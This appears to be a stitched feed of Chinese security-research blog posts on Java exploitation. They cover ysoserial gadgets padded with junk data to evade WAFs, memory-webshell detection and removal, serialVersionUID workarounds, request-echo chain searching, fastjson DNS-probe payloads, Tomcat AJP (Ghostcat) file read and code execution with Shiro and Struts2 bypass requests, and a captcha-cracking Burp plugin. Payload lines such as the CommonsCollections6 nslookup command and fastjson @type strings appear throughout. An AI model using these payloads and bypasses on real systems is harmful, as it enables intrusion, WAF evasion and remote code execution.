1 | List<Object> arrayList = new ArrayList<Object>(); |
为了方便日后使用,我们可以改造下ysoserial,让所有gadget都支持添加大量垃圾数据。大致的流程调用是,构造函数传入gadget对象以及垃圾数据长度,然后调用doWrap方法随机创建一个集合类型把随机生成的脏数据和gadget对象存储起来,最终序列化该对象即可拿到bypass WAF的序列化数据。具体实现参考如下代码和注释。
1 | public class DirtyDataWrapper { |
完整代码请移步ysoserial-for-woodpecker项目。通过如下命令就可以生成带有40000脏数据
的CommsonCollects6序列化数据。
1 | java -jar ysoserial-for-woodpecker-<version>.jar -g CommonsCollections6 -a "raw_cmd:nslookup win.4lu19g.dnslog.cn" --dirt-data-length 400000 > cc6-dnslog.ser |
把cc6-dnslog.ser
复制到burp中发送,完美饶过waf收到dnslog!
其实不是所有的集合类都适合用于包裹脏数据和gadget,比如LinkedHashSet
,HashSet
,TreeSet
等类就不适合。至于为何,留给大家思考。
在内存马横行的当下,蓝队or应急的师傅如何能快速判断哪些Filter/Servlet是内存马,分析内存马的行为功能是什么?最终又如何不重启的将其清除?红队师傅又如何抓铺其他师傅的内存马为自己用,亦或是把师傅的内存马踢掉?
在当下攻防对抗中,一直缺少着针对内存马扫描,捕捉与查杀的辅助脚本。下面就以Tomcat 8.5.47
为例子,分享下编写方法,其他中间件万变不离其宗。
考虑到Agent技术针对红队来说比较重,我们这次使用jsp技术来解决以上问题。
要想扫描web应用内存中的Filter和Servlet,我们必须知道它们存储的位置。通过查看代码,我们知道StandardContext对象中维护的是一个
和Filter相关的是filterDefs
和filterMaps
两个属性。这两个属性分别维护着全局Filter的定义,以及Filter的映射关系。
和Servlet相关的是children
和servletMappings
两个属性。这两个属性分别维护这全家Servlet的定义,以及Servlet的映射关系。
其他request对象中就存储这StandardContext对象。
1 | request.getSession().getServletContext() {ApplicationContextFacade} |
所以我们只需要通过反射遍历request,最终就可以拿到Filter和Servlet的如下信息。
具体反射遍历代码放文末github,这里值得一提是拿到Class名通过如下方法就能拿到其被加载到内存中的字节码内容。
1 | byte[] classBytes = Repository.lookupClass(Class.forName("me.gv7.Memshell")).getBytes(); |
通过分析调试Tomcat源码,我们知道Tomcat注销filter其实就是将该Filter从全局filterDefs和filterMaps中清除掉。具体的操作分别如下removeFilterDef
和removeFilterMap
两个方法中。
1 | //org.apache.catalina.core.StandardContext#removeFilterDef |
我们只需要反射调用它们即可注销Filter。
1 | public synchronized void deleteFilter(HttpServletRequest request,String filterName) throws Exception{ |
注销Servlet的原理也是类似,将该Servlet从全局servletMappings和children中清除掉即可。在Tomcat源码中对应的是removeServletMapping
和removeChild
方法。
1 | //org.apache.catalina.core.StandardContext#removeServletMapping |
我们只需要反射调用它们即可注销Servlet。
1 | public synchronized void deleteServlet(HttpServletRequest request,String servletName) throws Exception{ |
我们只需要把编写好的tomcat-memshell-scanner.jsp
放到可能被注入内存的web项目中,然后通过浏览器访问即可。假设扫描结果如下:
通过分析扫描出的信息,可知filter-b2b1cad2-44be-4f43-8db0-bd43da5ad368
是Filter型内存马,原因如下:
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl$TransletClassLoader
,这是反序列化漏洞执行代码用的classLoader。/favicon.ico
是Servlet型内存马,判断原因如下。
最后我们可以dump出那么对应的class,反编译看代码分析filter-b2b1cad2-44be-4f43-8db0-bd43da5ad368
是Filter型cmd内存马,/favicon.ico
是Servlet型哥斯拉内存马。
想法早在几个月之前就有了,月初收好友之邀请,夜游鼓浪屿,彼时夜朗星稀,山海一色,偶有微波抚足,不觉间有了点写东西的感觉,晚上回到旅社简单写了下。等回到北京后,不料润色之意全无,就凑合看吧。
其实内存马由来已久,早在17年n1nty师傅的《Tomcat源码调试笔记-看不见的shell》中已初见端倪,但一直不温不火。后经过rebeyong师傅使用agent技术加持后,拓展了内存马的使用场景,然终停留在奇技淫巧上。在各类hw洗礼之后,文件shell明显气数已尽。内存马以救命稻草的身份重回大众视野。特别是今年在shiro的回显研究之后,引发了无数安全研究员对内存webshell的研究,其中涌现出了LandGrey师傅构造的Spring controller内存马。至此内存马开枝散叶发展出了三大类型:
内存马这坛深巷佳酒,一时间流行于市井与弄堂之间。上至安全研究员下至普通客户,人尽皆知。正值hw来临之际,不难推测届时必将是内存马横行天下之日。而各大安全厂商却迟迟未见动静。所谓表面风平浪静,实则暗流涌动。或许一场内存马的围剿计划正慢慢展开。作为攻击方向的研究人员,没有对手就制造对手,攻防互换才能提升内存马技术的发展。
我们判断逻辑很朴实,利用Java Agent技术遍历所有已经加载到内存中的class。先判断是否是内存马,是则进入内存查杀。
1 | public class Transformer implements ClassFileTransformer { |
要识别,我们就需要细思内存马有什么特征。下面列下我思考过的检查点。
内存马的Filter名一般比较特别,有shell
或者随机数等关键字。这个特征稍弱,因为这取决于内存马的构造者的习惯,构造完全可以设置一个看起来很正常的名字。
为了确保内存马在各种环境下都可以访问,往往需要把filter匹配优先级调至最高,这在shiro反序列化中是刚需。但其他场景下就非必须,只能做一个可疑点。
内存马的Filter是动态注册的,所以在web.xml中肯定没有配置,这也是个可以的特征。但servlet 3.0引入了@WebFilter
标签方便开发这动态注册Filter。这种情况也存在没有在web.xml中显式声明,这个特征可以作为较强的特征。
我们都知道Filter也是class,也是必定有特定的classloader加载。一般来说,正常的Filter都是由中间件的WebappClassLoader加载的。反序列化漏洞喜欢利用TemplatesImpl和bcel执行任意代码。所以这些class往往就是以下这两个:
这个特征是一个特别可疑的点了。当然了,有的内存马还是比较狡猾的,它会注入class到当前线程中,然后实例化注入内存马。这个时候内存马就有可能不是上面两个classloader。
所谓内存马就是代码驻留内存中,本地无对应的class文件。所以我们只要检测Filter对应的ClassLoader目录下是否存在class文件。
1 | private static boolean classFileIsExists(Class clazz){ |
我们可以把内存中所有的Filter的class dump出来,使用fernflower
等反编译工具分析看看,是否存在恶意代码,比如调用了如下可疑的方法:
不难分析,内存马的命门在于5
和6
。简单说就是Filter型内存马首先是一个Filter类,同时它在硬盘上没有对应的class文件。若dump出的class还有恶意代码,那是内存马无疑啦。大致检查的代码如下:
1 | private static boolean isMemshell(Class targetClass,byte[] targetClassByte){ |
PS: 本文讨论查杀的思路,给出的代码只是概念正面的伪装代码。完美的方案是将以上6点作为判断指标,并根据指标的重要性赋予不同权重。满足的条件越多越可能是内存马。
内存马识别完成,接下来就是如何查杀了。
方法一: 清除内存马中的Filter的恶意代码
1 | public static byte[] killMemshell(Class clsMemshell,byte[] byteMemshell) throws Exception{ |
方法二: 模拟中间件注销Filter
1 | //反序列化执行代码反射获取到StandardContext |
两种方法各有优劣,第一种方法比较通用,直接适配所有中间件。但恶意Filter依然在,只是恶意代码被清除了。第二种方法比较优雅,恶意Filter会被清除掉。但每种中间件注销Filter的逻辑不尽相同,需要一一适配。为了方便演示我们选第一种。
最后给大家展示下,我查杀demo的效果。
本文我们对Filter型内存马的识别与查杀做了细致的分析,其实Servlet型,拦截器型和Controller型的查杀方法也是万变不离其中,可如法炮制。但这样的思路无法查杀Agent型内存马,Agent型内存马查杀难点在“查”不在“杀”,具体的难点在那,又是如何解决呢?我会在后续的《查杀Java web Agent型内存马》中继续分享我的思考。
serialVesionUid
不一致导致反序列化失败也算是Java反序列化漏洞利用比较常见的问题了。查了下资料,发现了各种各样的方法,但没有找到一种适合所有gadget的通用解决方案,为此我花了一些时间,算是找到了自己心中比较完美的解决方案:自定义ClassLoader。目前已经将其集成到ysoserial中,可完美解决各类gadget serialVesionUID不一致问题。
在解决这个问题之前,我尝试的很多方法,简单说下它们各自能解决的问题和存在的缺陷。
方案1:修改序列化byte数据
该方法可解决序列化最终数据的serialVesionUID不一致,但无法解决Object的serialVesionUID不一致
方案2:反射修改serialVesionUID
可以解决1的缺陷,但无法解决Gadget依赖的class没有serialVesionUID属性的情况,因为反射只能修改Object的属性,不能添加。
方案3:修改Class字节码,添加或修改serialVesionUID
能解决Gadget直接依赖Class的serialVesionUID不一致问题,可弥补方案2的缺陷。但不好解决Gadget间接依赖class存在serialVesionUID不一致的情况。
方案4:Hook ObjectStreamClass.getSerialVesionUID()
该方法负责返回所有参与序列化Class的serialVesionUID,Hook它并修改返回值,可解决所有class的serialVesionUID不一致问题。但它无法解决Gadget依赖jar版本之间,class差异较大,属性类型不同的情况。因为serialVesionUID发生改变取决于两个因素:Class的属性和方法。如果属性类型改变了,单单只修改serialVesionUID是不够的。
方案5:URLClassLoader
使用URLClassLoader动态引入依赖jar可以很好的解决以上方案的缺陷。只是用在该场景下有些费劲,原因有三:
第一,不方便隔离依赖。包含serialVesionUID不一致class的jar(这里简称
不一致jar
)是需要被隔离的。由于URLClassLoader是双亲委派模式,存在被父ClassLoader中的同名Class覆盖的风险。
第二,不方便共享依赖。Gadget依赖的部分jar可能不存在serialVesionUID不一致问题(这里简称
可共用jar
),我们需要共享。
第三,不方便添加Class到ClassLoader中,URLClassLoader只提供添加jar的方法。
在我看来比较完美的方案不仅要解决以上方案的缺陷,还要能防止各种未知的”副作用”。使用ClassLoader来解决的思路肯定是没错,但我们需要结合解决serialVesionUID不一致问题这个场景量身设计一个ClassLoader,核心有两点:
那么自定义ClassLoader是如何解决serialVesionUID不一致问题的呢?
自定义ClassLoader可以很方便地切换不一致jar
为漏洞环境的对应版本,生成的发序列化数据自然不会存在serialVesionUID不一致问题。具体实现如下图,我们自定义ClassLoader包含了Gadget class和不一致jar。当Gadget class实例化生成序列化对象时,由于当前ClassLoader优先原则,存在不一致问题的class使用的是自定义ClassLoader加载的,实现隔离。而其他Class找不到,自然走双亲委派模式,去父ClassLoader中查找,实现共享。
下面我们分别来实现。
首先我们自定义的ClassLoader需要维护要一个装载Class的Map classByteMap
,类名
为键
,类文件byte数据
为值
。方便后续添加和获取Class。
1 | private Map<String, byte[]> classByteMap = new HashMap<String,byte[]>(); |
addClass方法,主要是为了方便我们我们把Gadget对应的class添加的自定义ClassLoader中。
1 | public void addClass(String className,byte[] classByte){ |
addJar方法,主要是为了方便把gadget的不一致jar快速添加到ClassLoader中。具体来说就是读取不一致jar中所有class的class name
和class byte
,存储到classByteMap
中。
1 | private void readJar(JarFile jar) throws IOException{ |
要想打破双亲委派,我们需要重新loadClass方法,修改加载逻辑为优先使用自定义ClassLoader加载。
1 |
|
findClass方法定义的是自定义ClassLoader查找Class的逻辑
1 |
|
依然以ysoserial CommonsBeanutils1
为例子。ysoserial中默认commons-beanutils是1.9.2版本,下面我们给它添加一个兼容1.8.3版本的CommonsBeanutils1_183
。
通过对比1.9.2和1.8.3序列化数据,发现serialVesionUID不一致的只有org.apache.commons.beanutils.BeanComparator
类,它在commons-beanutils-<version>.jar
中,剩余的commons-collections-3.1.jar
和commons-logging-1.2.jar
为可共用jar。
接着就可以编写代码,调用自定义ClassLoader SuidClassLoader来解决serialVesionUID不一致问题了。
1 | "commons-beanutils:commons-beanutils:1.8.3", "commons-collections:commons-collections:3.1", "commons-logging:commons-logging:1.2"}) ({ |
Weblogic coherence.jar的gadget可如法炮制。近期忙完会将完整的代码上传到github项目ysoserial-woodpecker
本文献给永远的Avicii
,严格意义上我不算是一个reaver
。但并不妨碍我深深的喜欢你的作品,它们陪伴着我度过了无数个编程的夜晚,十分感谢。今天不同人用不同的方式怀念你,我不会作曲,也不敢纹身。能给你分享的是我所热爱的事,在我看来这是最有质感的东西。R.I.P
最近圈子里各位师傅都在分享shiro回显的方法,真是八仙过海过海各显神通。这里我也分享下自己针对回显的思考和解决方案。师傅们基本都是考虑中间件为Tomcat,框架为Shiro的反序列化漏洞如何回显。这里我从更大的层面来解决回显问题。也就是在任意中间件下,任意框架下可执行任意代码的漏洞如何回显?
回显的方式有很多种类,通过获取request对象来回显应该是最优雅通用的方法。而之前师傅们获取requst的方式基本都是去阅读和调试中间件的源码,确定requst存储的位置,最终反射获取。其实提炼出来就是两个步骤。
这一步定位的是requst存储的范围,需要靠知识沉淀或阅读源码来确定request对象被存储到那些全局变量中去了。
为何要考虑全局变量呢?这是因为只有是全局的,我们才能保证漏洞触发时可以拿到这个对象。
按照经验来讲Web中间件是多线程的应用,一般requst对象都会存储在线程对象中,可以通过Thread.currentThread()
或Thread.getThreads()
获取。当然其他全局变量也有可能,这就需要去看具体中间件的源码了。比如前段时间先知上的李三师傅通过查看代码,发现[MBeanServer](https://xz.aliyun.com/t/7535)
中也有request对象。
这一步定位的是requst存储的具体位置,需要搜索requst对象具体存储在全局变量的那个属性里。我们可以通过反射技术遍历全局变量的所有属性的类型,若包含以下关键字可认为是我们要寻找的request对象。
思路虽然简单,但实现反射搜索的细节其实还是有很多坑的,这里列举一些比较有意思的点和坑来说说。
对于隐藏过深的requst对象我们最好不考虑,原因有两个。
第一个是这样反射路径过长,就算是搜索到了,最终构造的payload数据会很大,对于shiro这种反序列化数据在头部的漏洞是致命的。
第二个是挖掘时间会很长,因为JVM虚拟机内存中的对象结构其实是非常的复杂的,一个对象的属性往往嵌套着另一个对象,另一个对象的属性继续嵌套其他对象…
可以声明两个变量来代表当前深度和最大深度,通过防止当前深度大于最大深度,来限制挖掘深度。
1 | int max_search_depth = 1000; //最大挖掘深度 |
一个对象中可能会存在其他对象多个相同的实例(引用相同),是不能重复去遍历它属性的,否则会进入死循环。可以声明一个visited
集合来存储已经遍历过的对象,在遍历之前先判断对象是否在该集合中,防止重复遍历!
1 | Set<Object> visited = new HashSet<Object>(); |
某些类型不可能存有requst,一般有如下的系统类型,和一些自定义的类型。对于这些类型的对象的遍历只会浪费时间,我们可以设置一个黑名单将其排除掉。
getFields()
和getDeclaredFields()
其实都没法获取对象的所有属性,导致搜索会有遗漏。比如一个对象的父类的父类的一个私有属性,我们怎么获取呢?
1 | //向上循环 遍历父类 |
深度优先顾名思义就是会按照深度方向挖掘,它会先遍历至全局变量第一个属性最深层的所有末端,在继续第二属性依次类推。这样挖掘出来的反射链是比较长的。
在我实现完深度优先算法后,发现最致命的还不是反射链过长问题。深度优先可能会错过比较短的反射链。这是因为同一个requst对象的引用可能被存储在全局对象的多个属性中,有些藏的比较深,有的藏的比较浅。深度优先往往会先挖掘到比较深的那个,而根据我们相同对象不会第二次搜索原则,当搜索到存储比较浅的引用时,会被忽略了。这就导致我们只挖掘到了藏的比较深的,而错过了比较浅的。
在学过算法,我们都知道广度优先就能解决路径最短问题,在这个问题上也是如此。针对上图的情况,两种算法挖掘的结果如下。
深度优先挖掘到两条反射链
广度度优先挖掘到两条反射链
而在实际环境中差别更加明显,以下是Tomcat8下搜索记录的对比。
基于以上想法,我设计了一款java内存对象搜索工具java-object-searcher,它可以很方便的帮助我们完成对request对象的搜索,当然不仅仅用于挖掘request。下面以Tomcat7.0.94
为例挖掘requst。
项目地址:https://github.com/c0ny1/java-object-searcher
去java-object-searcher项目的releases下载编译好的jar,引入到web项目和调试环境中。
然后我们需要断点打在漏洞触发的位置,因为全局变量会随着中间件和Web项目运行被各个模块修改。而我们需要的是漏洞触发时,全局变量的状态(属性结构和值)。
接着在IDEA的Evaluate
中编写java-object-searcher的调用代码,来搜索全局变量。
1 | //设置搜索类型包含ServletRequest,RequstGroup,Request...等关键字的对象 |
根据上述挖掘到的反射链来构造回显,具体代码如下:
1 | import com.sun.org.apache.xalan.internal.xsltc.DOM; |
最终生成反序列化数据提交至服务器即可回显
通过java-object-searcher
,我不仅挖掘到了之前师傅们公开的链,还挖掘到了其他未公开的。同时在其他中间件下也实现了回显,下面列举几个比较冷门的中间件。
1. Jetty
2. WildFly
3. Resin
有了半自动化,就想着全自动。这种运行时动态挖掘的局限性是需要人工确定那些全局变量存有request,这是只能半自动的原因。那么是否可以通过静态分析源码的方式来解决呢?比如gadgetinspector原来是挖掘gadget的,能否更换它的source
和slink
定义,将其改造为全自动化挖掘request呢?有兴趣的朋友可以去试试。
PS:写到这里我在想Avicii在写完《The Nights》时是怎样的心情,或许和我此时的心情一样,无以言表。
]]>在渗透测试中遇到json数据一般都会测试下有没有反序列化。然而json库有fastjson
,jackson
,gson
等等。怎么判断后端不是fastjson呢?这就需要构造特定的payload了。
昨天翻看fastjson源码时发现了一些可以构造dns解析且没在黑名单当中的类,于是顺手给官方提了下Issue。有趣的是后续的师傅们讨论还挺热闹的,我也在这次讨论中学习了很多。这篇文章算是对那些方法的汇总和原理分析。
很早之前有一个方法是使用java.net.InetAddress
类,现在这个类已经列入黑名单。然而在翻阅fastjson最新版源码(v1.2.67
)时,发现两个类没有在黑名单中,于是可以构造了如下payload,即可使fastjson进行DNS解析。下面以java.net.Inet4Address
为例分析构造原理。
1 | {"@type":"java.net.Inet4Address","val":"dnslog"} |
我们知道在fastjson在反序列化之前都会调用checkAutoType
方法对类进行检查。通过调试发现,由于java.net.Inet4Address
不在黑名单中,所以就算开启AutoType也是能过1
处的检查。
fastjson的ParserConfig类自己维护了一个IdentityHashMap
,在这个HashMap中的类会被认为是安全的。在2
处可以在IdentityHashMap中可以获取到java.net.Inet4Address
,所以clazz
不为null
,导致在3
处就返回了。跳过了后续的未开启AutoType
的黑名单检查。所以可以发现无论AutoType
是否开启,都可以过checkAutoType
的检查
1 | //com.alibaba.fastjson.parser.ParserConfig#checkAutoType |
fastjason对于Inet4Address
类会使用MiscCodec
这个ObjectDeserializer
来反序列化。跟进发现解析器会取出val字段的值赋值给strVal变量,由于我们的类是Inet4Address,所以代码会执行到1处,进行域名解析。
1 | //com.alibaba.fastjson.serializer.MiscCodec#deserialze |
java.net.InetSocketAddress
类也在IdentityHashMap
中,和上面一样无视checkAutoType
检查。
通过它要走到InetAddress.getByName()
流程相比方法一是要绕一些路的。刚开始一直没构造出来,后来在和实验室的@背影
师傅交流时,才知道可以顺着解析器规则构造(它要啥就给它啥
),最终payload如下,当然它是畸形的json。
1 | {"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}} |
那这个是怎样构造出来的呢?这就需要简单了解下fastjson的词法分析器了,这里就不展开了。这里尤为关键的是解析器token
值对应的含义,可以在com.alibaba.fastjson.parser.JSONToken
类中看到它们。
1 | //com.alibaba.fastjson.parser.JSONToken |
构造这个payload需要分两步,第一步我们需要让代码执行到1处,这一路解析器要接收的字符在代码已经标好。按照顺序写就是{"@type":"java.net.InetSocketAddress"{"address":
1 | //com.alibaba.fastjson.serializer.MiscCodec#deserialze |
parser.parseObject(InetAddress.class)
最终依然会,调用MiscCodec#deserialze()
方法来序列化,这里就来到我们构造payload的第二步。第二步的目标是要让解析器走到InetAddress.getByName(strVal)
。解析器要接受的字符在代码里标好了,按照顺序写就是,"val":"http://dnslog"}
。
1 | //com.alibaba.fastjson.serializer.MiscCodec#deserialze |
两段合起来就得到了最终的payload。
java.net.URL
类也在IdentityHashMap
中,和上面一样无视checkAutoType
检查。
1 | {{"@type":"java.net.URL","val":"http://dnslog"}:"x"} |
来源于@retanoj
和@threedr3am
两位师傅的启发,其原理和ysoserial中的URLDNS
这个gadget原理一样。
简单来说就是向HashMap压入一个键值对时,HashMap需要获取key对象的hashcode。当key对象是一个URL对象时,在获取它的hashcode
期间会调用getHostAddress
方法获取host,这个过程域名会被解析。
fastjson解析上述payload时,先反序列化出URL(http://dnslog)
对象,然后将{URL(http://dnslog):"x"}
解析为一个HashMap,域名被解析。
@retanoj
在Issue中还构造了好几个畸形的payload,虽然原理都是一样的,但还是挺有意思的,感受到了师傅对fastjson词法分析器透彻的理解。
1 | {"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL", "val":"http://dnslog"}}""} |
最后留个问题吧,我们都知道一般影响fastjson的gadget也会影响jackson。那么我们上面构造的payload,使用相同的原理能在jackson实现么?如果能,又该怎么构造呢?欢迎在blog留言区分享你的思考。
Servlet
,一个是DefaultServelt
,可以任意文件读取。第二个是JspServlet
,可以用于文件读取和代码执行。所以我们漏洞利用的关键是让精心构造的数据包最终让这两个Servlet
处理。但是在真实环境下的Web项目情况很复杂,会添加自定义的Servlet
和Filter
,使用各种框架和组件。它们的Servlet
和Filter
匹配规则会影响我们构造的数据包处理流向,导致我们无法检查成功。本文我们会针对常见的5种情况进行分析并一一解决!在分析前我们需要对Tomcat匹配规则优先级有一个了解,匹配的优先级如下,优先级从上到下:
/admin/index.html
)*.jsp
,*.jspx
)/
)具体的匹配细节可以查看Tomcat源码org.apache.catalina.mapper.Mapper#internalMapWrapper()
Tomcat下存在多个默认的web项目,由于它们没有使用任何框架,所以借助它们来检查再好不过了。
当没有默认的web项目,我们只能检查ROOT
下的项目了。在使用原生Servlet开发的web应用中,我们要考虑的是开发人员自定义filter
和自定义servlet
对漏洞影响。
按照开发经验,一般过滤器是不会过滤.js
,.css
,.ico
等静态文件后缀的url,同时自定义的Servlet也不会去处理这些url。所以我们可以构造类似如下请求来绕过它们带来的影响。
1 | RequestUri:/facvon.ico |
Spring MVC的经典配置如下:
1 | <servlet> |
虽然覆盖掉了DefaultServlet
的匹配路径,但是*.jsp,*.jspx
依然会交给JspServlet
处理,所以我们可以构造如下请求让JspServlet来触发漏洞。
1 | RequestUri:/index.jsp |
这里顺便回答下上一篇文章提的问题
问题:如果已经知道某个contoller使用的是jsp为视图模版来渲染数据,我们能否通过它来触发漏洞?
答:其实是不可以的。因为spring mvc会将模版渲染后,交给JspServlet去处理之前,会调用org.apache.catalina.core.ApplicationDispatcher#doInclude
方法对3个include属性进行重新赋值,也就是把我们之前设置的值覆盖掉了不再可控!
Srping boot结合Tomcat来部署有两种方式,分别是外置
和内嵌
。
我们先来说内嵌,它是默认的部署方式。顾名思义就是spring boot内部代码来调用Tomcat提供Web服务。这种方式默认AJP是不开启的。
若开启AJP,DefaultServlet
的匹配路径也会将org.springframework.web.servlet.DispatcherServlet
覆盖,而JspServlet
这个是没有被注册的,因为该类在jasper.jar
中,Spring boot默认的依赖中没有。
这里值得一提的是有一种情况是可以触发漏洞的,当Spring boot需要以JSP为视图模版时,jasper.jar需要被引入。通过调试Spring boot发现会自动注册一个将*.jsp
和*.jspx
给Jspservlet
的处理的mapper
,具体参考以下两处源码。
org.springframework.boot.web.embedded.tomcat.TomcatServletWebServerFactory#prepareContext
org.springframework.boot.web.servlet.server.AbstractServletWebServerFactory#shouldRegisterJspServlet
外置就是把SpringBoot
项目打成war,部署到tomcat的webapps目录下。这种情况下的检测和Spirng MVC情况一样。
所以综合来看,内置情况下只有配置开启了AJP
并引入了jasper.jar
才可以被利用,这种情况较少。外置情况下可以直接利用,这种情况也较少。所以我认为Spring boot出现该漏洞的可能性不大。
经典配置下shiro过滤器会对所有路径进行过滤,对url的访问权限有如下5个属性。
假设配置如下,在未登录情况下只能访问被配置为anon
权限的login.jsp
,访问其他链接都会302跳转至登录页面。所以只能请求这个页面来触发漏洞。
1 | <bean id="shiroFilter" class="org.apache.shiro.spring.web.ShiroFilterFactoryBean"> |
但我们在自动化中如何发现被配置为anon
权限的URL呢?实验室的@背影
师傅给了一条很重要的提示,可以通过该漏洞设置request对象属性shiroFilter: 1
来“关闭”shiro的拦截功能。
如果request
对象的属性名alreadyFilteredAttributeName
的值不为空,那么将直接交给Tomcat
的servlet
处理,相当于关闭了shiro
的拦截!
alreadyFilteredAttributeName变量等于shiro过滤器名
+ .FILTERED
。
通过查看代码发现shiroFilter
其实是web.xml
设置的shiro
过滤器名,这是由开发人员自定义的,故带来了新的问题。若不知道shiro
过滤器名怎么办呢?
通过调试shiro
,发现请求会被上面说的5种权限过滤器,依次匹配并处理。最重要的是它们的名字固定!于是按照同样的方法,都给它们设置上已过滤flag,即可绕过shiro的限制。具体请求构造如下:
1 | RequestUri:/test.jsp |
以下分析的是Struts2 2.5.22
使用Struts2框架一般需要设置如下的全局过滤器
1 | <filter> |
该过滤器默认会将后缀为空
和.action
的URL请求,交给Struts2
的Action
处理,而其他后缀就交给Tomcat默认Servlet处理,漏洞利用需要让其走后者。
然而在请求路径的获取上Struts2有别于其他环境,这是导致漏洞利用方式稍有不同。它通过request
对象的javax.servlet.include.servlet_path
属性获取,而不是request.getServletPath()
。
org.apache.struts2.dispatcher.mapper.DefaultActionMapper#getUri()
所以我们在这里必须设置该属性值为非空非.action
的后缀test.jsp
,才能让Tomcat的JspServlet
来处理。但是如果我们还是使用原来的方式读/WEB-INF/web.xml
是行不通的,因为最终构造的路径如下是错误的。
1 | = javax.servlet.include.servlet_path + javax.servlet.include.path_info |
那我们能否将javax.servlet.include.path_info
设置为/../WEB-INF/web.xml
来吃掉1.jsp
形成正确路径呢?答案是可以的!可能看过我之前漏洞分析文章的朋友会说,不是说路径里不能使用../
进行跳目录么?其实是可以跳目录,只是不能跳出webapps
而已。这里重新说明下路径校验函数normalized()
的功能。
该方法的功能是中和掉路径中的./
和../
,比如/a/.//b/../c
就会被中和为/a/c
。如果最后依然存在../
在开头,才会返回null
,最终抛出非法路径的异常。
所以在Struts2
框架下检测该漏洞,需要构造如下请求来绕过。
1 | RequestUri: / |
最后便可以将以上各个场景的特点综合起来,编写扫描工具了。这里我搭建了SpringMVC + Shiro的环境进行演示。可以发现其他的url都重定向了,只有针对shiro构造的请求是200,并成功触发漏洞!
JspServlet
和DefaultServlet
)来检测,更完美的方案应该是去找每种环境下其他存在缺陷的Servlet。Tomcat根据默认配置(conf/server.xml
)启动两个连接器。一个是HTTP Connector
默认监听8080
端口处理HTTP请求,一个AJP connector
默认8009
端口处理AJP请求。Tomcat处理两个协议请求区别并不大,AJP协议相当于HTTP协议的二进制优化版。
本次漏洞出现在通过设置AJP请求属性,可控制AJP连接器封装的request对象的属性,最终导致文件包含可以任意文件读取和代码执行。 下面我们以Tomcat 8.5.47
来具体分析。
当我们向Tomcat发送AJP请求时,请求会被org.apache.coyote.ajp.AjpProcessor
,AjpProcessor
调用prepareRequest
方法读取AJP请求中的信息来设置request属性。
由于没有任何过滤,我们可以给request
设置任何属性和值。本次漏洞与如下三个属性有关,为了方便后续描述统一简称为“三个include属性
”。
最终会将封装好的request
丢给Servlet
容器Catalina
处理,之后就和HTTP消息的处理一样,按照Servlet映射走。
任意文件读取问题出现在org.apache.catalina.servlets.DefaultServlet
这个Servlet。现在假设我们发出一个请求内容如下的AJP请求
1 | RequestUri:/docs/test.jpg |
通过查看servlet映射规则(conf/web.xml
)知道,请求会走默认的DefaultServlet
。
1 | ... |
会交给org.apache.catalina.servlets.DefaultServlet
的doGet
方法处理。doGet
会调用ServeResource
方法进行具体的资源读取操作。首先它会调用 getRelativePath
方法获取要读取资源的相对路径,这里注意它是本次任意读取漏洞的关键,我们先往下看后续再细说它。通过getResources
方法就可以获取到了对应路径的Web资源对象了。
最后资源对象的内容随着resourceBody
被写入了ostream
流对象中返回给客户端。
接下来我们来看漏洞真正核心,org.apache.catalina.servlets.DefaultServlet
类的getRelativePath()
,它负责获取资源的相对路径。由于我们AJP请求设置javax.servlet.include.request_uri
属性值为/
不为null
。故资源
的相对路径构造如下:
1 | = javax.servlet.include.path_info + javax.servlet.include.path_info |
这就导致我们虽然请求的是/docs/test.jpg
文件内容,而实际上返回了/docs/WEB-INF/web.xml
文件的内容。
至此大家可能有两个疑问
问题1:为何Tomcat处理HTTP协议不存在该问题?
答:因为在HTTP请求中,我们无法控制request对象三个include
属性的值,而在AJP请求中可以。
问题2:为何无法跳出webapps目录读文件呢?
DefaultServlet
在读取资源时
会调用org.apache.tomcat.util.http.RequestUtil
工具类中的normalize
方法来对路径进行校验,如果存在./
或../
则会返回null
,最终会抛出一个非法路径的异常终止文件读取操作。
任意代码执行问题出现在org.apache.jasper.servlet.JspServlet
这个servlet,假设我们发出一个请求内容如下的AJP请求,让Tomcat执行/docs/test.jsp
,但实际上它会将code.txt
当成jsp来解析执行.
1 | RequestUri:/docs/test.jsp |
code.txt内容如下:
1 | <% |
按照映射规则,我们的请求会被org.apache.jasper.servlet.JspServlet
进行处理。
1 | <servlet> |
由于javax.servlet.include.servlet_path
值为/
不为null
,所以根据代码逻辑我们jsp文件的路径为:
1 | jspUri = javax.servlet.include.servlet_path + javax.servlet.include.path_info |
可见jspUri
是客户端可控。
由我们控制的jspuri
被封装成了一个JspServletWrapper
添加到了Jsp运行上下文JspRuntimeContext
中.最后wrapper.service()
会编译code.txt
,并执行它的_jspService()
方法来处理当前请求,我们的代码被执行。
综上整个过程就清晰了,简而言之就是我们发送AJP请求,请求的是/docs/test.jsp
这个jsp,但是由于那三个include属性可控,我们可以将test.jsp
对应的服务器脚本文件改为了code.txt
。
导致tomcat把我们的code.txt
当jsp文件编译运行,导致代码执行。
最后给大家提两个问题:
问题1: 请求的/docs/test.jsp需要在web目录下真是存在么?
答: 不需要,我们只是为了让请求路径命中org.apache.catalina.servlets.DefaultServlet
这个servlet的匹配规则。
问题2: 如果tomcat不解析任何jsp,jspx等后缀,或者以它们为view的模板,还能触发漏洞么?如果可以又该如何触发?
PS:这个问题是一个师傅留给我的,觉得很有意思,分享给大家思考,有想法的可以留言讨论。
Tomcat在8.5.51版本做了如下修复 :
AjpProcessor
类的prepareRequest
方法封装requst
对象时采用了白名单,只添加已知属性。这样三个include属性
不再被客户端控制,漏洞修复。说起对存在验证码的登录表单进行爆破,大部分人都会想到PKav HTTP Fuzzer
,这款工具在前些年确实给我们带来了不少便利。反观burp一直没有一个高度自定义通杀大部分图片验证码的识别方案,于是抽了点闲暇的时间开发了captcha-kille,希望burp也能用上各种好用的识别码技术。其设计理念是只专注做好对各种验证码识别技术接口的调用!
说具体点就是burp通过同一个插件,就可以适配各种验证码识别接口,无需重复编写调用代码。今天不谈编码层面如何设计,感兴趣的可以去github看源码。此处只通过使用步骤来说明设计的细节。
使用burp抓取获取验证码数据包,然后右键captcha-killer
-> send to captcha panel
发送数据包到插件的验证码请求面板。
然后到切换到插件面板,点击获取即可拿到要识别的验证码图片内容。
注意:获取验证码的cookie一定要和intruder发送的cookie相同!
拿到验证码之后,就要设置接口来进行识别了。我们可以使用网上寻找免费的接口,用burp抓包,然后右键发送到插件的接口请求面板。
